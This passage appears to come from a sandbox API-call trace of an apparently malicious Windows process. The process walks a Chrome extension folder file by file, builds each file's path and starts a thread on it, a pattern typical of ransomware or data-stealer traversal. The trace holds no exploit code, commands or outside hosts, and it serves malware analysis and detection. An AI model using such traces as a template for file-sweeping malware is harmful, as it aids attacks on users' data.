Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.152] wcscat (in: _Dest=0x909df8, _Source="cast_route_details.html" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" [0174.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x909df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8 [0174.153] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83652970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83657790, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3a258, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.js", cAlternateFileName="CAST_R~1.JS")) returned 1 [0174.153] wcscmp (_String1="cast_route_details.js", _String2=".") returned 1 [0174.154] wcscmp (_String1="cast_route_details.js", _String2="..") returned 1 [0174.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13a) returned 0x8f3f10 [0174.154] wcscpy (in: _Dest=0x8f3f10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.154] wcscat (in: _Dest=0x8f3f10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.154] wcscat (in: _Dest=0x8f3f10, _Source="cast_route_details.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" [0174.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0 [0174.155] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8365ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836613d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xce17, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_sender.js", cAlternateFileName="CAST_S~1.JS")) returned 1 [0174.155] wcscmp (_String1="cast_sender.js", _String2=".") returned 1 [0174.155] wcscmp (_String1="cast_sender.js", _String2="..") returned 1 [0174.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12c) returned 0x8f3a00 [0174.155] wcscpy (in: _Dest=0x8f3a00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.155] wcscat (in: _Dest=0x8f3a00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.155] wcscat (in: _Dest=0x8f3a00, _Source="cast_sender.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" [0174.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f3a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0174.164] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_setup", cAlternateFileName="CAST_S~1")) returned 1 [0174.164] wcscmp (_String1="cast_setup", _String2=".") returned 1 [0174.164] wcscmp (_String1="cast_setup", _String2="..") returned 1 [0174.165] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x124) returned 0x99d800 [0174.165] wcscpy (in: _Dest=0x99d800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.165] wcscat (in: _Dest=0x99d800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.165] wcscat (in: _Dest=0x99d800, _Source="cast_setup" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup" [0174.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99d800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0174.166] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_route_details", cAlternateFileName="CLOUD_~1")) returned 1 [0174.166] wcscmp (_String1="cloud_route_details", _String2=".") returned 1 [0174.166] wcscmp (_String1="cloud_route_details", _String2="..") returned 1 [0174.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x8fd460 [0174.166] wcscpy (in: _Dest=0x8fd460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.166] wcscat (in: _Dest=0x8fd460, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.166] wcscat (in: _Dest=0x8fd460, _Source="cloud_route_details" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details" [0174.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fd460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a98 [0174.168] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83696f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83699640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc878, dwReserved0=0x0, dwReserved1=0x0, cFileName="common.js", cAlternateFileName="")) returned 1 [0174.168] wcscmp (_String1="common.js", _String2=".") returned 1 [0174.168] wcscmp (_String1="common.js", _String2="..") returned 1 [0174.168] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x122) returned 0x99d938 [0174.168] wcscpy (in: _Dest=0x99d938, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.168] wcscat (in: _Dest=0x99d938, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.168] wcscat (in: _Dest=0x99d938, _Source="common.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" [0174.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0174.169] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8369bd50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8369bd50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.css", cAlternateFileName="")) returned 1 [0174.169] wcscmp (_String1="feedback.css", _String2=".") returned 1 [0174.169] wcscmp (_String1="feedback.css", _String2="..") returned 1 [0174.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x128) returned 0x99da70 [0174.169] wcscpy (in: _Dest=0x99da70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.169] wcscat (in: _Dest=0x99da70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.169] wcscat (in: _Dest=0x99da70, _Source="feedback.css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css" [0174.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0174.171] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a0b70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a0b70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x38a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.html", cAlternateFileName="FEEDBA~1.HTM")) returned 1 [0174.171] wcscmp (_String1="feedback.html", _String2=".") returned 1 [0174.171] wcscmp (_String1="feedback.html", _String2="..") returned 1 [0174.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x9294c0 [0174.171] wcscpy (in: _Dest=0x9294c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.171] wcscat (in: _Dest=0x9294c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.171] wcscat (in: _Dest=0x9294c0, _Source="feedback.html" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" [0174.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9294c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1540 [0174.172] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a5990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a5990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback_script.js", cAlternateFileName="FEEDBA~1.JS")) returned 1 [0174.172] wcscmp (_String1="feedback_script.js", _String2=".") returned 1 [0174.172] wcscmp (_String1="feedback_script.js", _String2="..") returned 1 [0174.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x134) returned 0x8fcdf8 [0174.172] wcscpy (in: _Dest=0x8fcdf8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.173] wcscat (in: _Dest=0x8fcdf8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.173] wcscat (in: _Dest=0x8fcdf8, _Source="feedback_script.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" [0174.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fcdf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c [0174.174] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836af5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8395fd70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0174.174] wcscmp (_String1="manifest.json", _String2=".") returned 1 [0174.174] wcscmp (_String1="manifest.json", _String2="..") returned 1 [0174.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0x9295f8 [0174.174] wcscpy (in: _Dest=0x9295f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.174] wcscat (in: _Dest=0x9295f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.174] wcscat (in: _Dest=0x9295f8, _Source="manifest.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" [0174.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9295f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0 [0174.175] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b1ce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b43f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x46039, dwReserved0=0x0, dwReserved1=0x0, cFileName="material_css_min.css", cAlternateFileName="MATERI~1.CSS")) returned 1 [0174.175] wcscmp (_String1="material_css_min.css", _String2=".") returned 1 [0174.175] wcscmp (_String1="material_css_min.css", _String2="..") returned 1 [0174.175] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x8fcf40 [0174.175] wcscpy (in: _Dest=0x8fcf40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.175] wcscat (in: _Dest=0x8fcf40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.175] wcscat (in: _Dest=0x8fcf40, _Source="material_css_min.css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css" [0174.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fcf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0174.176] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b6b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b9210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x7c33, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_cast_streaming.js", cAlternateFileName="MIRROR~1.JS")) returned 1 [0174.176] 